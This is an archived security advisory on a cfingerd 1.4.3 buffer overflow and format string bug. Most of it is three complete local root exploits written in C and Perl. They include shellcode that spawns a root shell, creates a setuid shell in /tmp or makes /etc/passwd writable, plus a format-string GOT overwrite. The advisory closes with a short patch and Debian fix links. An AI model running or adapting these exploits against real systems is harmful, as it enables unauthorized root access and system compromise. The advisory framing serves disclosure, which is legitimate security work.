COMMAND

    cfingerd

SYSTEMS AFFECTED

    cfingerd

PROBLEM

    Steven  Van  Acker  found  following.   Versions prior to cfingerd
    1.4.3 were not tested, but we suppose they are vulnerable as well.
    When the option  ALLOW_LINE_PARSING is set  (and this seems  to be
    by default,  each user  can specify  what cfingerd  returns to the
    querying person.  The problem is situated in util.c, line 181-182:

        while((line[pos] != ' ') && (!done)) {
          command[newpos] = line[pos];

    This  while  loop  does  not  check  whether the end of the buffer
    "command" has been reached.  (The buffer is 80 chars long.)

    This leads to a  buffer overflow.  Even  more alarming is that  it
    can lead to a local  root exploit, because cfingerd is  allowed to
    run as root, and  it doesn't seem to  drop the privileges when  it
    performs that while loop.

        $<80 chars><displine><5*sizeof(int)><ebp><eip>

    By inserting this  in ~/.nofinger ,  and storing the  shellcode in
    the 80 chars buffer, it is possible to execute usersupplied  code.
    The value of  displine is required  because of the  free(displine)
    on line 303.  This value  can be determined by another bug  in the
    same file at line 301:

        printf(displine);

    Which is a standard format string bug.

        $center %s %p

    By inserting this into ~/.nofinger, the second value printed  will
    be the address of displine.

    Of course, this format string bug could be exploited as well,  but
    it's more difficult than the one above.

    /*
     * cfingerd 1.4.3 and prior Linux x86 local root exploit
     * by qitest1 10/07/2001
     *
     * If the ALLOW_LINE_PARSING option is set, and it is set
     * by default, the bof simply occurs when reading the ~/.nofinger
     * file. If cfingerd is called by inetd as root, a root shell will be
     * spawned. But it is quite funny that the authors of cfingerd in the
     * README almost seem to encourage people to set inetd.conf for
     * calling cfingerd as root.
     *
     * Greets: my friends on #sikurezza@Undernet
     *	   jtripper: hi man, play_the_game with me! =)
     *	   warson and warex
     *
     * Fuck:   fender'/hcezar: I want your respect..
     *
     * have fun with this 0x69 local toy! =)
     */

    #include <stdio.h>
    #include <pwd.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define	RETPOS		84
    #define LOCALHOST	"localhost"
    #define	FINGERD_PORT	79

      struct targ
        {
          int                  def;
          char                 *descr;
          u_long    	   retaddr;
        };

      struct targ target[]=
        {
          {0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
          {1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
          {2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
          {3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
          {69, NULL, 0}
        };

      char shellcode[] =			/* Aleph1 code */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

      int    sel = 0, offset = 0;

      void	play_the_game(u_long retaddr, struct passwd *user);
      int	sockami(char *host, int port);
      void	shellami(int sock);
      void  usage(char *progname);

    int
    main(int argc, char **argv)
    {
      int			sock, cnt;
      uid_t                 euid;
      char			sbuf[256];
      struct passwd		*user;

      printf("\n  cfingerd 1.4.3 and prior exploit by qitest1\n\n");

      while((cnt = getopt(argc,argv,"t:o:h")) != EOF)
        {
       switch(cnt)
            {
       case 't':
         sel = atoi(optarg);
         break;
       case 'o':
         offset = atoi(optarg);
         break;
       case 'h':
         usage(argv[0]);
         break;
            }
        }

      euid = geteuid();
      user = (struct passwd *)getpwuid(euid);

      printf("+User: %s\n  against: %s\n", user->pw_name, target[sel].descr);
      target[sel].retaddr += offset;
      printf("+Using: retaddr = %p...\n  ok\n", target[sel].retaddr);

      play_the_game(target[sel].retaddr, user);

      sock = sockami(LOCALHOST, FINGERD_PORT);
      sprintf(sbuf, "%s\n", user->pw_name);
      send(sock, sbuf, strlen(sbuf), 0);

      printf("+Waiting for a shell...\n  0x69 =)\n");
      sleep(1);
      shellami(sock);
    }

    void
    play_the_game(u_long retaddr, struct passwd *user)
    {
      char			zbuf[256], nofinger_path[256];
      int			i, n = 0;
      FILE 			*nofinger_file;

      memset(zbuf, '\x90', sizeof(zbuf));
      for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
            zbuf[i] = shellcode[n++];

      zbuf[RETPOS + 0] = (u_char) (retaddr & 0x000000ff);
      zbuf[RETPOS + 1] = (u_char)((retaddr & 0x0000ff00) >> 8);
      zbuf[RETPOS + 2] = (u_char)((retaddr & 0x00ff0000) >> 16);
      zbuf[RETPOS + 3] = (u_char)((retaddr & 0xff000000) >> 24);
      zbuf[RETPOS + 4] = '\x00';

      sprintf(nofinger_path, "%s/.nofinger", user->pw_dir);
      nofinger_file = fopen(nofinger_path, "w");
      printf("+Writing ~/.nofinger...\n");
      fprintf(nofinger_file, "$%s\n", zbuf);
      printf("  done\n");
      fclose(nofinger_file);

      return;
    }

    int
    sockami(char *host, int port)
    {
    struct sockaddr_in address;
    struct hostent *hp;
    int sock;

      sock = socket(AF_INET, SOCK_STREAM, 0);
      if(sock == -1)
            {
              perror("socket()");
              exit(-1);
            }

      hp = gethostbyname(host);
      if(hp == NULL)
            {
              perror("gethostbyname()");
              exit(-1);
            }

      memset(&address, 0, sizeof(address));
      memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
      address.sin_family = AF_INET;
      address.sin_port = htons(port);

      if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
            {
              perror("connect()");
              exit(-1);
            }

      return(sock);
    }


    void
    shellami(int sock)
    {
      int             n;
      char            recvbuf[1024], *cmd = "id; uname -a\n";
      fd_set          rset;

      send(sock, cmd, strlen(cmd), 0);

      while (1)
        {
          FD_ZERO(&rset);
          FD_SET(sock, &rset);
          FD_SET(STDIN_FILENO, &rset);
          select(sock+1, &rset, NULL, NULL, NULL);
          if(FD_ISSET(sock, &rset))
            {
              n = read(sock, recvbuf, 1024);
              if (n <= 0)
                {
                  printf("Connection closed by foreign host.\n");
                  exit(0);
                }
              recvbuf[n] = 0;
              printf("%s", recvbuf);
            }
          if (FD_ISSET(STDIN_FILENO, &rset))
            {
              n = read(STDIN_FILENO, recvbuf, 1024);
              if (n > 0)
                {
                  recvbuf[n] = 0;
                  write(sock, recvbuf, n);
                }
            }
        }
      return;
    }

    void
    usage(char *progname)
    {
      int  i = 0;

      printf("Usage: %s [options]\n", progname);
      printf("Options:\n"
             "  -t target\n"
             "  -o offset\n"
	     "  -h (help)\n"
             "Available targets:\n");
      while(target[i].def != 69)
            {
              printf("  %d) %s\n", target[i].def, target[i].descr);
              i++;
            }

      exit(1);
    }

    Another one:

    #!/usr/bin/perl

    # | Local buffer overflow exploit for cfingerd
    # | Copyright (c) 2001 by <teleh0r@digit-labs.org>
    # | All rights reserved.
    # |
    # | Simple exploit for the vulnerability reported
    # | to bugtraq by Steven Van Acker.
    # | http://www.securityfocus.com/archive/1/192844
    # |
    # | If cfingerd does not run as root, the exploit
    # | will of course fail!
    # |
    # | http://www.digit-labs.org/teleh0r/

    use Socket; use File::Copy;
    use Getopt::Std; getopts('s:p:o:', \%arg);

    if (defined($arg{'s'})) { $sjell  = $arg{'s'} }
    if (defined($arg{'p'})) { $port   = $arg{'p'} }
    if (defined($arg{'o'})) { $offset = $arg{'o'} }

    # shellcodes written by myself especially for
    # this exploit.

    # 34 bytes
    $shellcode1 =
      "\x31\xdb".                # xor  ebx, ebx
      "\x31\xc9".                # xor  ecx, ecx
      "\xf7\xe3".                # mul  ebx
      "\x52".                    # push edx
      "\x68\x2f\x2f\x79\x30".    # push dword 0x30792f2f
      "\x68\x2f\x74\x6d\x70".    # push dword 0x706d742f
      "\x89\xe3".                # mov  ebx, esp
      "\xb0\xb6".                # mov  al, 0xb6
      "\xcd\x80".                # int  0x80
      "\x66\xb9\xed\x0d".        # mov  cx, 0xded
      "\xb0\x0f".                # mov  al, 0xf
      "\xcd\x80".                # int  0x80
      "\x40".                    # inc  eax
      "\xcd\x80";                # int  0x80

    # 35 bytes
    $shellcode2 =
      "\xeb\x10".                # jmp  short file
      "\x5b".                    # pop  ebx
      "\x31\xc9".                # xor  ecx, ecx
      "\xf7\xe1".                # mul  ecx
      "\x66\xb9\xa6\x01".        # mov  cx, 0x1a6
      "\xb0\x0f".                # mov  al, mov
      "\xcd\x80".                # int  0x80
      "\x40".                    # inc  eax
      "\xcd\x80".                # int  0x80
      "\xe8\xeb\xff\xff\xff".    # call code
      "/etc/passwd".             # string
      "\x00";                    # null terminate

    # cfingerd does not drop privileges before the
    # vulnerable code kicks in, therefore no need
    # to use setuid(0);

    if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}
    $shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;

    $port  ||= 2003;
    $user    = getlogin() || getpwuid($<);
    $return  = 0xbffff46c;
    $length  = 88;
    $kewlnop = 'K';
    $homedir = (getpwnam($user))[7];

    printf("Address: %#lx\n", ($return + $offset));
    &do_checkz;

    if (connect_host('127.0.0.1', $port)) {
        &prepare_attack;

        send(SOCKET, "$user\015\012", 0);
        close(SOCKET);

        sleep(1);
        &do_checkz;

        die("Sorry, exploit failed - check the values.\n");
    }

    sub prepare_attack {
        for ($i = 0; $i < ($length - 2 - 4); $i++) {
	    $buffer .= $kewlnop;
        }

        #<82'nops'><jmp 0x4><retaddr><shellcode>

        $buffer .= "\xeb\x04";
        $buffer .= pack('l', ($return + $offset));
        $buffer .= $shellcode;

        if (-e("$homedir/.nofinger")) { # I am nice, huh?
	    copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");
        }

        open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");
        print(FILE "\$$buffer\n");
        close(FILE);
    }

    sub do_checkz {
        if ($sjell == '1') {
	    if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {
	        print("Exploit attempt succeeded!\n");
	        exec("/tmp/y0");
	    } elsif (stat("/tmp/y0") == '0') {
	        copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");
	    }
        } elsif ($sjell == '2') {
	    if (-w("/etc/passwd")) {
	        ($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];
	        print("Success: /etc/passwd $perm\n");
	        exit(0);
	    }
        }
    }

    sub usage {
    system("clear");

    # below layout style stolen from qitest1 xinetd exploit ;)
    # werd!

    print(qq(
    cfingerd <= 1.4.3-8 local exploit by teleh0r
    All rights reserved.

    Usage: $0 [options]
    Options:
      -s shellcode  - see below
      -p port       - 2003 default
      -o offset

    Available shellcodes:
      1\) root shell in /tmp
      2\) writable /etc/passwd

    ));
    exit(1);
    }

    sub connect_host {
        ($target, $port) = @_;
        $iaddr  = inet_aton($target)                 || die("Error: $!\n");
        $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
        $proto  = getprotobyname('tcp')              || die("Error: $!\n");

        socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
        connect(SOCKET, $paddr)                      || die("Error: $!\n");
        return(1);
    }

    zen-parse  added  another  exploit  on  the  same subject (exploit
    redirects  fopen()  call  to   popen()  and  executes  code   from
    ~/.nofinger):

    /************************************************************

    http://www.infodrom.ffis.de/projects/cfingerd/ states:

      Cfingerd is a free and secure finger daemon replacement for
      standard finger daemons such as GNU fingerd or MIT fingerd.

    April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:

      In 3 words: REMOTE ROOT VULNERABILITY


       idcf.c - July 11 2001 - happy 3 month anniversary!
    http://oliver.efri.hr/~crv/security/bugs/Others/cfinger6.html


                       M4D PR0PZ T0 :

               Steven for showing me da bugz
            noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
            grue 4 lurking,  g00bER 4 something
         and the rest of #roothat @ irc.pulltheplug.com

           4150 70 mp3.com 4 http://mp3.com/cosv

    ***********************************************************/

    // The offsets are from a version i compiled just to
    // test the vulnerability and so will most likely not
    // work for you.

    // get this from objdump -R cfingered|grep fopen
    #define OVER 0x0805532c
    // get this from objdump -R cfingerd|grep popen
    // and then gdb cfingerd  and x/x 0xoffset from objdump
    #define WITH 0x080491ba

    #include <stdio.h>
    main(int argc,char*argv[])
    {
     int z0=0,ovrw=OVER;    // address to overwrite with pass 1
     int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
     int slen=strlen("evil fingered from ")+9;
     int addr=WITH;         // what to overwrite the address with
     int offset=20;         // where the first address is on the stack
     int a1,a2;
     FILE *f;
     f=fopen("/etc/motd","w+");
     if(!f)
     {
      fprintf("You must be root to use this exploit.\n");
      exit(1);
     }
     a1=(addr&0x000ffff)-slen;                 // 1st number of bytes
     a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff;  // 2nd number of bytes
     printf(":::A%s%s",&ovrw,&ovrw1);          // header/padding/addresses
     printf("%%%ux%%%d$hn%%%ux%%%d$hn\n"       // formatstring itself
            ,a1,offset,a2,offset+1);
     fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
     fprintf(stderr,"And mebe visit your account on the other machine.\n");
     fprintf(stderr,"after you finger it.\n");
     fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
     fclose(f);

    }

SOLUTION

    A quick fix is to  disable the ALLOW_LINE_PARSING option.   To fix
    this (you probably know it already) on line 181:

        while((newpos < 80) && (line[pos] != ' ') && (!done)) {
                ^^^^^^^^^^^^^^^^^

    on line 301:

        printf("%s",displine);
                ^^^^^

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1-1.2.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1-1.2.dsc
        http://security.debian.org/dists/stable/updates/main/source/cfingerd_1.4.1.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/cfingerd_1.4.1-1.2_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/cfingerd_1.4.1-1.2_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/cfingerd_1.4.1-1.2_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/cfingerd_1.4.1-1.2_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/cfingerd_1.4.1-1.2_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/cfingerd_1.4.1-1.2_sparc.deb